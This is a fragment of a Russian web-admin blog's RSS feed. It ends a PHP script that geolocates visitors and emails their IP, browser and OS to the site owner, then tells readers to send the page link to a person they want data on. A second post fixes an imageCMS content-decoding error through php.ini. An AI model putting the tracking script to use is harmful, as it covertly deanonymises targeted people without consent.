$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}

$to = 'YOUR_MAIL@MAIL.COM';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
?>

Добавляем страницу на сайт и кидаем ссылку тому, от кого хотим получить эти данные.

Внимание! Если пользователь использует прокси\впн\анонимайзер — эти данные не будут корректные.

Всем удачи 🙂

]]>
https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/feed/ 0
ERR CONTENT DECODING FAILED | белый экран при открытии сайта imageCMS https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/ https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/#respond Fri, 11 Oct 2019 12:34:14 +0000 https://lexblog.org/?p=1002 Иногда при переносе сайта imageCMS или ошибка «ERR CONTENT DECODING FAILED«, при том что настройки прописаны правильно и к базе доступы все так же прописаны.

Для решения этой проблемы открываем конфиг php.ini и ищем строку «zlib.output_compression = On«:

nano /etc/php.ini

Изменяем строку на:

zlib.output_compression = Off

Перезагружаем apache одной из следующих команд:

service httpd restart 
/etc/ini.d/httpd restart
service apache2 restart
/etc/ini.d/apache2 restart

И проверяем работу сайта.

]]>
https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/feed/ 0